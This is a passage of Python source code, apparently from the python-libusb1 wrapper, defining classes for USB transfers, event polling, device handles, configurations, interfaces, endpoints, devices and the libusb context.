libusb1.libusb_submit_transfer(self.__transfer) if result: self.__after_completion(self) self.__submitted = False raise libusb1.USBError(result) def cancel(self): """ Cancel transfer. Note: cancellation happens asynchronously, so you must wait for LIBUSB_TRANSFER_CANCELLED. """ if not self.__submitted: # XXX: Workaround for a bug reported on libusb 1.0.8: calling # libusb_cancel_transfer on a non-submitted transfer might # trigger a segfault. raise self.__USBError(self.__LIBUSB_ERROR_NOT_FOUND) result = self.__libusb_cancel_transfer(self.__transfer) if result: raise self.__USBError(result) class USBTransferHelper(object): """ Simplifies subscribing to the same transfer over and over, and callback handling: - no need to read event status to execute apropriate code, just setup different functions for each status code - just return True instead of calling submit - no need to check if transfer is doomed before submitting it again, DoomedTransferError is caught. Callbacks used in this class must follow the callback API described in USBTransfer, and are expected to return a boolean: - True if transfer is to be submitted again (to receive/send more data) - False otherwise Note: as per libusb1 specifications, isochronous transfer global state might be LIBUSB_TRANSFER_COMPLETED although some individual packets might have an error status. You can check individual packet status by calling getISOSetupList on transfer object in your callback. """ def __init__(self, transfer=None): """ Create a transfer callback dispatcher. transfer parameter is deprecated. If provided, it will be equivalent to: helper = USBTransferHelper() transfer.setCallback(helper) and also allows using deprecated methods on this class (otherwise, they raise AttributeError). """ if transfer is not None: # Deprecated: to drop self.__transfer = transfer transfer.setCallback(self) self.__event_callback_dict = {} self.__errorCallback = DEFAULT_ASYNC_TRANSFER_ERROR_CALLBACK def submit(self): """ Submit the asynchronous read request. Deprecated. Use submit on transfer. """ # Deprecated: to drop self.__transfer.submit() def cancel(self): """ Cancel a pending read request. Deprecated. Use cancel on transfer. """ # Deprecated: to drop self.__transfer.cancel() def setEventCallback(self, event, callback): """ Set a function to call for a given event. Possible event identifiers are listed in EVENT_CALLBACK_SET. """ if event not in EVENT_CALLBACK_SET: raise ValueError('Unknown event %r.' % (event, )) self.__event_callback_dict[event] = callback def setDefaultCallback(self, callback): """ Set the function to call for event which don't have a specific callback registered. The initial default callback does nothing and returns False. """ self.__errorCallback = callback def getEventCallback(self, event, default=None): """ Return the function registered to be called for given event identifier. """ return self.__event_callback_dict.get(event, default) def __call__(self, transfer): """ Callback to set on transfers. """ if self.getEventCallback(transfer.getStatus(), self.__errorCallback)( transfer): try: transfer.submit() except DoomedTransferError: pass def isSubmited(self): """ Returns whether this reader is currently waiting for an event. Deprecatd. Use isSubmitted on transfer. """ # Deprecated: to drop return self.__transfer.isSubmitted() class USBPollerThread(threading.Thread): """ Implements libusb1 documentation about threaded, asynchronous applications. In short, instanciate this class once (...per USBContext instance), call start() on the instance, and do whatever you need. This thread will be used to execute transfer completion callbacks, and you are free to use libusb1's synchronous API in another thread, and can forget about libusb1 file descriptors. See http://libusb.sourceforge.net/api-1.0/mtasync.html . """ def __init__(self, context, poller, exc_callback=None): """ Create a poller thread for given context. Warning: it will not check if another poller instance was already present for that context, and will replace it. poller (same as USBPoller.__init__ "poller" parameter) exc_callback (callable) Called with a libusb_error value as single parameter when event handling fails. If not given, an USBError will be raised, interrupting the thread. """ super(USBPollerThread, self).__init__() self.daemon = True self.__context = context self.__poller = poller self.__fd_set = set() context.setPollFDNotifiers(self._registerFD, self._unregisterFD) for fd, events in context.getPollFDList(): self._registerFD(fd, events, None) if exc_callback is not None: self.exceptionHandler = exc_callback def __del__(self): self.__context.setPollFDNotifiers(None, None) @staticmethod def exceptionHandler(exc): raise exc def run(self): # We expect quite some spinning in below loop, so move any unneeded # operation out of it. context = self.__context poll = self.__poller.poll try_lock_events = context.tryLockEvents lock_event_waiters = context.lockEventWaiters wait_for_event = context.waitForEvent unlock_event_waiters = context.unlockEventWaiters event_handling_ok = context.eventHandlingOK unlock_events = context.unlockEvents handle_events_locked = context.handleEventsLocked event_handler_active = context.eventHandlerActive getNextTimeout = context.getNextTimeout exceptionHandler = self.exceptionHandler fd_set = self.__fd_set while fd_set: if try_lock_events(): lock_event_waiters() while event_handler_active(): wait_for_event() unlock_event_waiters() else: try: while event_handling_ok(): if poll(getNextTimeout()): try: handle_events_locked() except libusb1.USBError: exceptionHandler(sys.exc_info()[1]) finally: unlock_events() def _registerFD(self, fd, events, _): self.__poller.register(fd, events) self.__fd_set.add(fd) def _unregisterFD(self, fd, _): self.__fd_set.discard(fd) self.__poller.unregister(fd) class USBPoller(object): """ Class allowing integration of USB event polling in a file-descriptor monitoring event loop. WARNING: Do not call "poll" from several threads concurently. Do not use synchronous USB transfers in a thread while "poll" is running. Doing so will result in unnecessarily long pauses in some threads. Opening and/or closing devices while polling can cause race conditions to occur. """ def __init__(self, context, poller): """ Create a poller for given context. Warning: it will not check if another poller instance was already present for that context, and will replace it. poller is a polling instance implementing the following methods: - register(fd, event_flags) event_flags have the same meaning as in poll API (POLLIN & POLLOUT) - unregister(fd) - poll(timeout) timeout being a float in seconds, or negative/None if there is no timeout. It must return a list of (descriptor, event) pairs. Note: USBPoller is itself a valid poller. Note2: select.poll uses a timeout in milliseconds, for some reason (all other select.* classes use seconds for timeout), so you should wrap it to convert & round/truncate timeout. """ self.__context = context self.__poller = poller self.__fd_set = set() context.setPollFDNotifiers(self._registerFD, self._unregisterFD) for fd, events in context.getPollFDList(): self._registerFD(fd, events) def __del__(self): self.__context.setPollFDNotifiers(None, None) def poll(self, timeout=None): """ Poll for events. timeout can be a float in seconds, or None for no timeout. Returns a list of (descriptor, event) pairs. """ next_usb_timeout = self.__context.getNextTimeout() if timeout is None or timeout < 0: usb_timeout = next_usb_timeout elif next_usb_timeout: usb_timeout = min(next_usb_timeout, timeout) else: usb_timeout = timeout event_list = self.__poller.poll(usb_timeout) if event_list: fd_set = self.__fd_set result = [(x, y) for x, y in event_list if x not in fd_set] if len(result) != len(event_list): self.__context.handleEventsTimeout() else: result = event_list self.__context.handleEventsTimeout() return result def register(self, fd, events): """ Register an USB-unrelated fd to poller. Convenience method. """ if fd in self.__fd_set: raise ValueError('This fd is a special USB event fd, it cannot ' 'be polled.') self.__poller.register(fd, events) def unregister(self, fd): """ Unregister an USB-unrelated fd from poller. Convenience method. """ if fd in self.__fd_set: raise ValueError('This fd is a special USB event fd, it must ' 'stay registered.') self.__poller.unregister(fd) def _registerFD(self, fd, events, user_data=None): self.register(fd, events) self.__fd_set.add(fd) def _unregisterFD(self, fd, user_data=None): self.__fd_set.discard(fd) self.unregister(fd) class USBDeviceHandle(object): """ Represents an opened USB device. """ __handle = None __libusb_close = libusb1.libusb_close __USBError = libusb1.USBError __LIBUSB_ERROR_NOT_FOUND = libusb1.LIBUSB_ERROR_NOT_FOUND __LIBUSB_ERROR_NO_DEVICE = libusb1.LIBUSB_ERROR_NO_DEVICE __LIBUSB_ERROR_INTERRUPTED = libusb1.LIBUSB_ERROR_INTERRUPTED __set = set __KeyError = KeyError __sys = sys def __init__(self, context, handle, device): """ You should not instanciate this class directly. Call "open" method on an USBDevice instance to get an USBDeviceHandle instance. """ self.__context = context # Weak reference to transfers about this device so we can clean up # before closing device. self.__transfer_set = WeakSet() # Strong references to inflight transfers so they do not get freed # even if user drops all strong references to them. If this instance # is garbage-collected, we close all transfers, so it's fine. self.__inflight = inflight = set() # XXX: For some reason, doing self.__inflight.{add|remove} inside # getTransfer causes extra intermediate python objects for each # allocated transfer. Storing them as properties solves this. Found # with objgraph. self.__inflight_add = inflight.add self.__inflight_remove = inflight.remove self.__handle = handle self.__device = device def __del__(self): self.close() def close(self): """ Close this handle. If not called explicitely, will be called by destructor. This method cancels any in-flight transfer when it is called. As cancellation is not immediate, this method needs to let libusb handle events until transfers are actually cancelled. In multi-threaded programs, this can lead to stalls. To avoid this, do not close nor let GC collect a USBDeviceHandle which has in-flight transfers. """ handle = self.__handle if handle is not None: # Build a strong set from weak self.__transfer_set so we can doom # and close all contained transfers. # Because of backward compatibility, self.__transfer_set might be a # wrapper around WeakKeyDictionary. As it might be modified by gc, # we must pop until there is not key left instead of iterating over # it. weak_transfer_set = self.__transfer_set transfer_set = self.__set() while True: try: transfer = weak_transfer_set.pop() except self.__KeyError: break transfer_set.add(transfer) transfer.doom() inflight = self.__inflight for transfer in inflight: try: transfer.cancel() except self.__USBError: if self.__sys.exc_info()[1].value not in (\ self.__LIBUSB_ERROR_NOT_FOUND, self.__LIBUSB_ERROR_NO_DEVICE, ): raise while inflight: try: self.__context.handleEvents() except self.__USBError: if self.__sys.exc_info()[1].value != \ self.__LIBUSB_ERROR_INTERRUPTED: raise for transfer in transfer_set: transfer.close() self.__libusb_close(handle) self.__handle = None def getDevice(self): """ Get an USBDevice instance for the device accessed through this handle. Useful for example to query its configurations. """ return self.__device def getConfiguration(self): """ Get the current configuration number for this device. """ configuration = c_int() result = libusb1.libusb_get_configuration(self.__handle, byref(configuration)) if result: raise libusb1.USBError(result) return configuration.value def setConfiguration(self, configuration): """ Set the configuration number for this device. """ result = libusb1.libusb_set_configuration(self.__handle, configuration) if result: raise libusb1.USBError(result) def claimInterface(self, interface): """ Claim (= get exclusive access to) given interface number. Required to receive/send data. """ result = libusb1.libusb_claim_interface(self.__handle, interface) if result: raise libusb1.USBError(result) def releaseInterface(self, interface): """ Release interface, allowing another process to use it. """ result = libusb1.libusb_release_interface(self.__handle, interface) if result: raise libusb1.USBError(result) def setInterfaceAltSetting(self, interface, alt_setting): """ Set interface's alternative setting (both parameters are integers). """ result = libusb1.libusb_set_interface_alt_setting(self.__handle, interface, alt_setting) if result: raise libusb1.USBError(result) def clearHalt(self, endpoint): """ Clear a halt state on given endpoint number. """ result = libusb1.libusb_clear_halt(self.__handle, endpoint) if result: raise libusb1.USBError(result) def resetDevice(self): """ Reinitialise current device. Attempts to restore current configuration & alt settings. If this fails, will result in a device disconnect & reconnect, so you have to close current device and rediscover it (notified by a LIBUSB_ERROR_NOT_FOUND error code). """ result = libusb1.libusb_reset_device(self.__handle) if result: raise libusb1.USBError(result) def kernelDriverActive(self, interface): """ Tell whether a kernel driver is active on given interface number. """ result = libusb1.libusb_kernel_driver_active(self.__handle, interface) if result == 0: is_active = False elif result == 1: is_active = True else: raise libusb1.USBError(result) return is_active def detachKernelDriver(self, interface): """ Ask kernel driver to detach from given interface number. """ result = libusb1.libusb_detach_kernel_driver(self.__handle, interface) if result: raise libusb1.USBError(result) def attachKernelDriver(self, interface): """ Ask kernel driver to re-attach to given interface number. """ result = libusb1.libusb_attach_kernel_driver(self.__handle, interface) if result: raise libusb1.USBError(result) def setAutoDetachKernelDriver(self, enable): """ Control automatic kernel driver detach. enable (bool) True to enable auto-detach, False to disable it. """ result = libusb1.libusb_set_auto_detach_kernel_driver(self.__handle, bool(enable)) if result: libusb1.USBError(result) def getSupportedLanguageList(self): """ Return a list of USB language identifiers (as integers) supported by current device for its string descriptors. Note: language identifiers seem (I didn't check them all...) very similar to windows language identifiers, so you may want to use locales.windows_locale to get an rfc3066 representation. The 5 standard HID language codes are missing though. """ descriptor_string = create_binary_buffer(STRING_LENGTH) result = libusb1.libusb_get_string_descriptor(self.__handle, 0, 0, descriptor_string, sizeof(descriptor_string)) if result < 0: if result == libusb1.LIBUSB_ERROR_PIPE: # From libusb_control_transfer doc: # control request not supported by the device return [] raise libusb1.USBError(result) length = cast(descriptor_string, POINTER(c_ubyte))[0] langid_list = cast(descriptor_string, POINTER(c_uint16)) result = [] append = result.append for offset in xrange(1, length / 2): append(libusb1.libusb_le16_to_cpu(langid_list[offset])) return result def getStringDescriptor(self, descriptor, lang_id): """ Fetch description string for given descriptor and in given language. Use getSupportedLanguageList to know which languages are available. Return value is an unicode string. Return None if there is no such descriptor on device. """ descriptor_string = create_binary_buffer(STRING_LENGTH) result = libusb1.libusb_get_string_descriptor(self.__handle, descriptor, lang_id, descriptor_string, sizeof(descriptor_string)) if result == libusb1.LIBUSB_ERROR_NOT_FOUND: return None if result < 0: raise libusb1.USBError(result) return descriptor_string.value.decode('UTF-16-LE') def getASCIIStringDescriptor(self, descriptor): """ Fetch description string for given descriptor in first available language. Return value is an ASCII string. Return None if there is no such descriptor on device. """ descriptor_string = create_binary_buffer(STRING_LENGTH) result = libusb1.libusb_get_string_descriptor_ascii(self.__handle, descriptor, descriptor_string, sizeof(descriptor_string)) if result == libusb1.LIBUSB_ERROR_NOT_FOUND: return None if result < 0: raise libusb1.USBError(result) return descriptor_string.value.decode('ASCII') # Sync I/O def _controlTransfer(self, request_type, request, value, index, data, length, timeout): result = libusb1.libusb_control_transfer(self.__handle, request_type, request, value, index, data, length, timeout) if result < 0: raise libusb1.USBError(result) return result def controlWrite(self, request_type, request, value, index, data, timeout=0): """ Synchronous control write. request_type: request type bitmask (bmRequestType), see libusb1 constants LIBUSB_TYPE_* and LIBUSB_RECIPIENT_*. request: request id (some values are standard). value, index, data: meaning is request-dependent. timeout: in milliseconds, how long to wait for device acknowledgement. Set to 0 to disable. Returns the number of bytes actually sent. """ request_type = (request_type & ~libusb1.USB_ENDPOINT_DIR_MASK) | \ libusb1.LIBUSB_ENDPOINT_OUT data = create_binary_buffer(data) return self._controlTransfer(request_type, request, value, index, data, sizeof(data), timeout) def controlRead(self, request_type, request, value, index, length, timeout=0): """ Synchronous control read. timeout: in milliseconds, how long to wait for data. Set to 0 to disable. See controlWrite for other parameters description. Returns received data. """ request_type = (request_type & ~libusb1.USB_ENDPOINT_DIR_MASK) | \ libusb1.LIBUSB_ENDPOINT_IN data = create_binary_buffer(length) transferred = self._controlTransfer(request_type, request, value, index, data, length, timeout) return data.raw[:transferred] def _bulkTransfer(self, endpoint, data, length, timeout): transferred = c_int() result = libusb1.libusb_bulk_transfer(self.__handle, endpoint, data, length, byref(transferred), timeout) if result: raise libusb1.USBError(result) return transferred.value def bulkWrite(self, endpoint, data, timeout=0): """ Synchronous bulk write. endpoint: endpoint to send data to. data: data to send. timeout: in milliseconds, how long to wait for device acknowledgement. Set to 0 to disable. Returns the number of bytes actually sent. """ endpoint = (endpoint & ~libusb1.USB_ENDPOINT_DIR_MASK) | \ libusb1.LIBUSB_ENDPOINT_OUT data = create_binary_buffer(data) return self._bulkTransfer(endpoint, data, sizeof(data), timeout) def bulkRead(self, endpoint, length, timeout=0): """ Synchronous bulk read. timeout: in milliseconds, how long to wait for data. Set to 0 to disable. See bulkWrite for other parameters description. Returns received data. """ endpoint = (endpoint & ~libusb1.USB_ENDPOINT_DIR_MASK) | \ libusb1.LIBUSB_ENDPOINT_IN data = create_binary_buffer(length) transferred = self._bulkTransfer(endpoint, data, length, timeout) return data.raw[:transferred] def _interruptTransfer(self, endpoint, data, length, timeout): transferred = c_int() result = libusb1.libusb_interrupt_transfer(self.__handle, endpoint, data, length, byref(transferred), timeout) if result: raise libusb1.USBError(result) return transferred.value def interruptWrite(self, endpoint, data, timeout=0): """ Synchronous interrupt write. endpoint: endpoint to send data to. data: data to send. timeout: in milliseconds, how long to wait for device acknowledgement. Set to 0 to disable. Returns the number of bytes actually sent. """ endpoint = (endpoint & ~libusb1.USB_ENDPOINT_DIR_MASK) | \ libusb1.LIBUSB_ENDPOINT_OUT data = create_binary_buffer(data) return self._interruptTransfer(endpoint, data, sizeof(data), timeout) def interruptRead(self, endpoint, length, timeout=0): """ Synchronous interrupt write. timeout: in milliseconds, how long to wait for data. Set to 0 to disable. See interruptRead for other parameters description. Returns received data. """ endpoint = (endpoint & ~libusb1.USB_ENDPOINT_DIR_MASK) | \ libusb1.LIBUSB_ENDPOINT_IN data = create_binary_buffer(length) transferred = self._interruptTransfer(endpoint, data, length, timeout) return data.raw[:transferred] def getTransfer(self, iso_packets=0): """ Get an USBTransfer instance for asynchronous use. iso_packets: the number of isochronous transfer descriptors to allocate. """ result = USBTransfer(self.__handle, iso_packets, self.__inflight_add, self.__inflight_remove, ) self.__transfer_set.add(result) return result class USBConfiguration(object): def __init__(self, context, config): """ You should not instanciate this class directly. Call USBDevice methods to get instances of this class. """ if not isinstance(config, libusb1.libusb_config_descriptor): raise TypeError('Unexpected descriptor type.') self.__config = config self.__context = context def getNumInterfaces(self): return self.__config.bNumInterfaces __len__ = getNumInterfaces def getConfigurationValue(self): return self.__config.bConfigurationValue def getDescriptor(self): return self.__config.iConfiguration def getAttributes(self): return self.__config.bmAttributes def getMaxPower(self): """ Returns device's power consumption in mW. Beware of unit: USB descriptor uses 2mW increments, this method converts it to mW units. """ return self.__config.MaxPower * 2 def getExtra(self): """ Returns a list of extra (non-basic) descriptors (DFU, HID, ...). """ return libusb1.get_extra(self.__config) def __iter__(self): """ Iterates over interfaces available in this configuration, yielding USBInterface instances. """ context = self.__context interface_list = self.__config.interface for interface_num in xrange(self.getNumInterfaces()): yield USBInterface(context, interface_list[interface_num]) # BBB iterInterfaces = __iter__ def __getitem__(self, interface): """ Returns an USBInterface instance. """ if not isinstance(interface, int): raise TypeError('interface parameter must be an integer') if not (0 <= interface < self.getNumInterfaces()): raise IndexError('No such interface: %r' % (interface, )) return USBInterface(self.__context, self.__config.interface[interface]) class USBInterface(object): def __init__(self, context, interface): """ You should not instanciate this class directly. Call USBConfiguration methods to get instances of this class. """ if not isinstance(interface, libusb1.libusb_interface): raise TypeError('Unexpected descriptor type.') self.__interface = interface self.__context = context def getNumSettings(self): return self.__interface.num_altsetting __len__ = getNumSettings def __iter__(self): """ Iterates over settings in this insterface, yielding USBInterfaceSetting instances. """ context = self.__context alt_setting_list = self.__interface.altsetting for alt_setting_num in xrange(self.getNumSettings()): yield USBInterfaceSetting(context, alt_setting_list[alt_setting_num]) # BBB iterSettings = __iter__ def __getitem__(self, alt_setting): """ Returns an USBInterfaceSetting instance. """ if not isinstance(alt_setting, int): raise TypeError('alt_setting parameter must be an integer') if not (0 <= alt_setting < self.getNumSettings()): raise IndexError('No such setting: %r' % (alt_setting, )) return USBInterfaceSetting(self.__context, self.__interface.altsetting[alt_setting]) class USBInterfaceSetting(object): def __init__(self, context, alt_setting): """ You should not instanciate this class directly. Call USBDevice or USBInterface methods to get instances of this class. """ if not isinstance(alt_setting, libusb1.libusb_interface_descriptor): raise TypeError('Unexpected descriptor type.') self.__alt_setting = alt_setting self.__context = context def getNumber(self): return self.__alt_setting.bInterfaceNumber def getAlternateSetting(self): return self.__alt_setting.bAlternateSetting def getNumEndpoints(self): return self.__alt_setting.bNumEndpoints __len__ = getNumEndpoints def getClass(self): return self.__alt_setting.bInterfaceClass def getSubClass(self): return self.__alt_setting.bInterfaceSubClass def getClassTuple(self): """ For convenience: class and subclass are probably often matched simultaneously. """ alt_setting = self.__alt_setting return (alt_setting.bInterfaceClass, alt_setting.bInterfaceSubClass) # BBB getClassTupple = getClassTuple def getProtocol(self): return self.__alt_setting.bInterfaceProtocol def getDescriptor(self): return self.__alt_setting.iInterface def getExtra(self): return libusb1.get_extra(self.__alt_setting) def __iter__(self): """ Iterates over endpoints in this interface setting , yielding USBEndpoint instances. """ context = self.__context endpoint_list = self.__alt_setting.endpoint for endpoint_num in xrange(self.getNumEndpoints()): yield USBEndpoint(context, endpoint_list[endpoint_num]) # BBB iterEndpoints = __iter__ def __getitem__(self, endpoint): """ Returns an USBEndpoint instance. """ if not isinstance(endpoint, int): raise TypeError('endpoint parameter must be an integer') if not (0 <= endpoint < self.getNumEndpoints()): raise ValueError('No such endpoint: %r' % (endpoint, )) return USBEndpoint(self.__context, self.__alt_setting.endpoint[endpoint]) class USBEndpoint(object): def __init__(self, context, endpoint): if not isinstance(endpoint, libusb1.libusb_endpoint_descriptor): raise TypeError('Unexpected descriptor type.') self.__endpoint = endpoint self.__context = context def getAddress(self): return self.__endpoint.bEndpointAddress def getAttributes(self): return self.__endpoint.bmAttributes def getMaxPacketSize(self): return self.__endpoint.wMaxPacketSize def getInterval(self): return self.__endpoint.bInterval def getRefresh(self): return self.__endpoint.bRefresh def getSyncAddress(self): return self.__endpoint.bSynchAddress def getExtra(self): return libusb1.get_extra(self.__endpoint) class USBDevice(object): """ Represents a USB device. """ __configuration_descriptor_list = () __libusb_unref_device = libusb1.libusb_unref_device __libusb_free_config_descriptor = libusb1.libusb_free_config_descriptor __byref = byref def __init__(self, context, device_p, can_load_configuration=True): """ You should not instanciate this class directly. Call USBContext methods to receive instances of this class. """ self.__context = context libusb1.libusb_ref_device(device_p) self.device_p = device_p # Fetch device descriptor device_descriptor = libusb1.libusb_device_descriptor() result = libusb1.libusb_get_device_descriptor(device_p, byref(device_descriptor)) if result: raise libusb1.USBError(result) self.device_descriptor = device_descriptor if can_load_configuration: self.__configuration_descriptor_list = descriptor_list = [] append = descriptor_list.append device_p = self.device_p for configuration_id in xrange( self.device_descriptor.bNumConfigurations): config = libusb1.libusb_config_descriptor_p() result = libusb1.libusb_get_config_descriptor(device_p, configuration_id, byref(config)) if result == libusb1.LIBUSB_ERROR_NOT_FOUND: # Some devices (ex windows' root hubs) tell they have # one configuration, but they have no configuration # descriptor. continue if result: raise libusb1.USBError(result) append(config.contents) def __del__(self): self.__libusb_unref_device(self.device_p) byref = self.__byref for config in self.__configuration_descriptor_list: self.__libusb_free_config_descriptor(byref(config)) def __str__(self): return 'Bus %03i Device %03i: ID %04x:%04x' % ( self.getBusNumber(), self.getDeviceAddress(), self.getVendorID(), self.getProductID(), ) def __len__(self): return len(self.__configuration_descriptor_list) def __getitem__(self, index): return USBConfiguration(self.__context, self.__configuration_descriptor_list[index]) def iterConfigurations(self): context = self.__context for config in self.__configuration_descriptor_list: yield USBConfiguration(context, config) # BBB iterConfiguations = iterConfigurations def iterSettings(self): for config in self.iterConfigurations(): for interface in config: for setting in interface: yield setting def getBusNumber(self): """ Get device's bus number. """ return libusb1.libusb_get_bus_number(self.device_p) def getPortNumber(self): """ Get device's port number. """ return libusb1.libusb_get_port_number(self.device_p) def getPortNumberList(self): """ Get the port number of each hub toward device. """ port_list = (c_uint8 * PATH_MAX_DEPTH)() result = libusb1.libusb_get_port_numbers(self.device_p, port_list, len(port_list)) if result < 0: raise libusb1.USBError(result) return list(port_list[:result]) # TODO: wrap libusb_get_parent when/if libusb removes the need to be inside # a libusb_(get|free)_device_list block. def getDeviceAddress(self): """ Get device's address on its bus. """ return libusb1.libusb_get_device_address(self.device_p) def getbcdUSB(self): """ Get the USB spec version device complies to, in BCD format. """ return self.device_descriptor.bcdUSB def getDeviceClass(self): """ Get device's class id. """ return self.device_descriptor.bDeviceClass def getDeviceSubClass(self): """ Get device's subclass id. """ return self.device_descriptor.bDeviceSubClass def getDeviceProtocol(self): """ Get device's protocol id. """ return self.device_descriptor.bDeviceProtocol def getMaxPacketSize0(self): """ Get device's max packet size for endpoint 0 (control). """ return self.device_descriptor.bMaxPacketSize0 def getMaxPacketSize(self, endpoint): """ Get device's max packet size for given endpoint. Warning: this function will not always give you the expected result. See https://libusb.org/ticket/77 . You should instead consult the endpoint descriptor of current configuration and alternate setting. """ result = libusb1.libusb_get_max_packet_size(self.device_p, endpoint) if result < 0: raise libusb1.USBError(result) return result def getMaxISOPacketSize(self, endpoint): """ Get the maximum size for a single isochronous packet for given endpoint. Warning: this function will not always give you the expected result. See https://libusb.org/ticket/77 . You should instead consult the endpoint descriptor of current configuration and alternate setting. """ result = libusb1.libusb_get_max_iso_packet_size(self.device_p, endpoint) if result < 0: raise libusb1.USBError(result) return result def getVendorID(self): """ Get device's vendor id. """ return self.device_descriptor.idVendor def getProductID(self): """ Get device's product id. """ return self.device_descriptor.idProduct def getbcdDevice(self): """ Get device's release number. """ return self.device_descriptor.bcdDevice def getSupportedLanguageList(self): """ Get the list of language ids device has string descriptors for. """ temp_handle = self.open() return temp_handle.getSupportedLanguageList() def _getStringDescriptor(self, descriptor, lang_id): if descriptor == 0: result = None else: temp_handle = self.open() result = temp_handle.getStringDescriptor(descriptor, lang_id) return result def _getASCIIStringDescriptor(self, descriptor): if descriptor == 0: result = None else: temp_handle = self.open() result = temp_handle.getASCIIStringDescriptor(descriptor) return result def getManufacturer(self): """ Get device's manufaturer name. Note: opens the device temporarily. """ return self._getASCIIStringDescriptor( self.device_descriptor.iManufacturer) def getProduct(self): """ Get device's product name. Note: opens the device temporarily. """ return self._getASCIIStringDescriptor(self.device_descriptor.iProduct) def getSerialNumber(self): """ Get device's serial number. Note: opens the device temporarily. """ return self._getASCIIStringDescriptor( self.device_descriptor.iSerialNumber) def getNumConfigurations(self): """ Get device's number of possible configurations. """ return self.device_descriptor.bNumConfigurations def getDeviceSpeed(self): """ Get device's speed (see libusb1.libusb_speed for possible return values). """ return libusb1.libusb_get_device_speed(self.device_p) def open(self): """ Open device. Returns an USBDeviceHandle instance. """ handle = libusb1.libusb_device_handle_p() result = libusb1.libusb_open(self.device_p, byref(handle)) if result: raise libusb1.USBError(result) return USBDeviceHandle(self.__context, handle, self) _zero_tv = libusb1.timeval(0, 0) _zero_tv_p = byref(_zero_tv) class USBContext(object): """ libusb1 USB context. Provides methods to enumerate & look up USB devices. Also provides access to global (device-independent) libusb1 functions. """ __libusb_exit = libusb1.libusb_exit __context_p = None __added_cb = None __removed_cb = None __libusb_set_pollfd_notifiers = libusb1.libusb_set_pollfd_notifiers def _validContext(func): # Defined inside USBContext so we can access "self.__*". def wrapper(self, *args, **kw): self.__context_cond.acquire() self.__context_refcount += 1 self.__context_cond.release() try: if self.__context_p is not None: return func(self, *args, **kw) finally: self.__context_cond.acquire() self.__context_refcount -= 1 if not self.__context_refcount: self.__context_cond.notifyAll() self.__context_cond.release() return wrapper def __init__(self): """ Create a new USB context. """ # Used to prevent an exit to cause a segfault if a concurrent thread # is still in libusb. self.__context_refcount = 0 self.__context_cond = threading.Condition() context_p = libusb1.libusb_context_p() result = libusb1.libusb_init(byref(context_p)) if result: raise libusb1.USBError(result) self.__context_p = context_p self.__hotplug_callback_dict = {} def __del__(self): # Avoid locking. # XXX: Assumes __del__ should not normally be called while any # instance's method is being executed. It seems unlikely (they hold a # reference to their instance). self._exit() def exit(self): """ Close (destroy) this USB context. When this method has been called, methods on its instance will become mosty no-ops, returning None. """ self.__context_cond.acquire() try: while self.__context_refcount and self.__context_p is not None: self.__context_cond.wait() self._exit() finally: self.__context_cond.notifyAll() self.__context_cond.release() def _exit(self): context_p = self.__context_p if context_p is not None: self.__libusb_exit(context_p) self.__context_p = None self.__added_cb = None self.__removed_cb = None @_validContext def getDeviceList(self, skip_on_access_error=False, skip_on_error=False): """ Return a list of all USB devices currently plugged in, as USBDevice instances. skip_on_error (bool) If True, ignore devices which raise USBError. skip_on_access_error (bool) DEPRECATED. Alias for skip_on_error. """ skip_on_error = skip_on_error or skip_on_access_error device_p_p = libusb1.libusb_device_p_p() libusb_device_p = libusb1.libusb_device_p device_list_len = libusb1.libusb_get_device_list(self.__context_p, byref(device_p_p)) if device_list_len < 0: raise libusb1.USBError(device_list_len) try: result = [] append = result.append for device_p in device_p_p[:device_list_len]: try: # Instanciate our own libusb_device_p object so we can free # libusb-provided device list. Is this a bug in ctypes that # it doesn't copy pointer value (=pointed memory address) ? # At least, it's not so convenient and forces using such # weird code. device = USBDevice(self, libusb_device_p(device_p.contents)) except libusb1.USBError: if not skip_on_error: raise else: append(device) finally: libusb1.libusb_free_device_list(device_p_p, 1) return result def getByVendorIDAndProductID(self, vendor_id, product_id, skip_on_access_error=False, skip_on_error=False): """ Get the first USB device matching given vendor and product ids. Returns an USBDevice instance, or None if no present device match. skip_on_error (bool) (see getDeviceList) skip_on_access_error (bool) (see getDeviceList) """ for device in self.getDeviceList( skip_on_access_error=skip_on_access_error, skip_on_error=skip_on_error): if device.getVendorID() == vendor_id and \ device.getProductID() == product_id: result = device break else: result = None return result def openByVendorIDAndProductID(self, vendor_id, product_id, skip_on_access_error=False, skip_on_error=False): """ Get the first USB device matching given vendor and product ids. Returns an USBDeviceHandle instance, or None if no present device match. skip_on_error (bool) (see getDeviceList) skip_on_access_error (bool) (see getDeviceList) """ result = self.getByVendorIDAndProductID(vendor_id, product_id, skip_on_access_error=skip_on_access_error, skip_on_error=skip_on_error) if result is not None: result = result.open() return result @_validContext def getPollFDList(self): """ Return file descriptors to be used to poll USB events. You should not have to call this method, unless you are integrating this class with a polling mechanism. """ pollfd_p_p = libusb1.libusb_get_pollfds(self.__context_p) if not pollfd_p_p: errno = get_errno() if errno: raise OSError(errno) else: # Assume not implemented raise NotImplementedError("Your libusb doesn't seem to " "implement pollable FDs") try: result = [] append = result.append fd_index = 0 while pollfd_p_p[fd_index]: append((pollfd_p_p[fd_index].contents.fd, pollfd_p_p[fd_index].contents.events)) fd_index += 1 finally: _free(pollfd_p_p) return result @_validContext def handleEvents(self): """ Handle any pending event (blocking). See libusb1 documentation for details (there is a timeout, so it's not "really" blocking). """ result = libusb1.libusb_handle_events(self.__context_p) if result: raise libusb1.USBError(result) # TODO: handleEventsCompleted @_validContext def handleEventsTimeout(self, tv=0): """ Handle any pending event. If tv is 0, will return immediately after handling already-pending events. Otherwise, defines the maximum amount of time to wait for events, in seconds. """ if tv is None: tv = 0 tv_s = int(tv) tv = libusb1.timeval(tv_s, int((tv - tv_s) * 1000000)) result = libusb1.libusb_handle_events_timeout(self.__context_p, byref(tv)) if result: raise libusb1.USBError(result) # TODO: handleEventsTimeoutCompleted @_validContext def setPollFDNotifiers(self, added_cb=None, removed_cb=None, user_data=None): """ Give libusb1 methods to call when it should add/remove file descriptor for polling. You should not have to call this method, unless you are integrating this class with a polling mechanism. """ if added_cb is None: added_cb = POINTER(None) else: added_cb = libusb1.libusb_pollfd_added_cb_p(added_cb) if removed_cb is None: removed_cb = POINTER(None) else: removed_cb = libusb1.libusb_pollfd_removed_cb_p(removed_cb) self.__added_cb = added_cb self.__removed_cb = removed_cb self.__libusb_set_pollfd_notifiers(self.__context_p, added_cb, removed_cb, user_data) @_validContext def getNextTimeout(self): """ Returns the next internal timeout that libusb needs to handle, in seconds, or None if no timeout is needed. You should not have to call this method, unless you are integrating this class with a polling mechanism. """ timeval = libusb1.timeval() result = libusb1.libusb_get_next_timeout(self.__context_p, byref(timeval)) if 